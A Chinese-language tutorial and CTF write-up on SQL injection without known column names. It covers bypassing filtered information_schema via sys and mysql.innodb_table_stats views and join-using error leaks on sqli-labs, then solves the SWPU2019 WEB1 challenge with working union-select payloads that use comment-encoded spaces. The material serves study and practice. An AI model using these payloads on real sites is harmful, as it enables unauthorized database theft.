这是上次CISCN接触的一个知识点,记录一下:

    无列名注入,如其名一样,就是在不知道列名的情况下进行sql注入。

    这里需要了解数据库的一些特性:
    在 mysql => 5 的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在 mysql sqli 中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。

    image.png

    当这个库被过滤后,如何绕过呢?

    1. schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。
    2. schema_table_statistics_with_buffer
    3. x$schema_table_statistics_with_buffer
    4. 查询表的统计信息,其中还包括InnoDB缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间(执行时间,即也可以理解为是存在最多表I/O争用的表)降序排序,数据来源:performance_schema.table_io_waits_summary_by_tablesys.x$ps_schema_table_statistics_iosys.x$innodb_buffer_stats_by_table

    SQL注入-无列名注入 - 图2
    以上就是几中简单的绕过方式。
    通过以上的方法可以获取表名信息了,但是并没有找到类似于information_schema.columns的试视图

    利用join-using注列名:
    通过系统关键词join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

    在数据下操作一下:
    正常的查询语句
    image.png
    使用union select查询
    image.png
    下面我们将列名替换为对应的数字,比如2对应username
    image.png
    分析下这个语句

    select `2` from(select 1,2,3 union select * from users)a;
    其中将select 1,2,3 union select * from users查询的内容起别名为a
    select `2` from a
    a里面有对应的1,2,3列     //这个a可以是任意字符
    

    查询多个列

    select concat(`2`,0x2d,`3`) from(select 1,2,3 union select * from users)a;
    

    image.png

    使用concat函数连接一下,0x2d为-

    下面以sql-libs靶场第一关配合上面的库演示一下

    ?id=0'  union select * from (select * from users as a join users as b)as c --+
    

    查询出第一个列名
    QQ截图20210713173105.png

    ?id=0' union select*from (select * from users as a join users b using(id))c--+
    

    QQ截图20210713173555.png
    拿到了第二列值

    ?id=0' union select * from (select * from users as a join users b using(id,name))c--+
    

    拿到了第三列值
    QQ截图20210713173405.png

    实战 [SWPU2019]WEB1

    考点:二次注入+无列名注入

    先注册,在登陆,注册的时候卡了一下,显示都是被已注册(自己测试吧)

    登录上只有发布广告功能
    image.png
    点击广告详情,可以发现闭合符号是单引号
    fuzz发现过滤了空格,or,#
    使用group代替order使用//绕过空格,单引号闭合单引号
    image.png
    发现有22列
    构造payload**

    ac=add&content=nhgn&title=111'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
    

    拿到表名web1

    再构造payload**

    ac=add&content=nhgn&title=111'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
    

    只有mysql.innodb_table_stats可以用,其他的不存在。
    image.png
    拿到了表名
    现在就照应了题目,有表名却没有列名,使用无列表注入

    ac=add&content=nhgn&title=111'/**/union/**/select/**/1,(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
    

    判断出users表里有三个字段

    再构造payload

    ac=add&content=nhgn&title=111'/**/union/**/select/**/1,(select/**/group_concat(a,b,c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)as/**/d),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
    

    将三列值分别起别名为abc,并用函数连接起来。

    总的来说,这题出的很巧妙,使用了二次注入和无列名注入
    无列名注入时过滤了很多,join也无法使用。
    emmm,就使用了其他的方法,get到了新知识。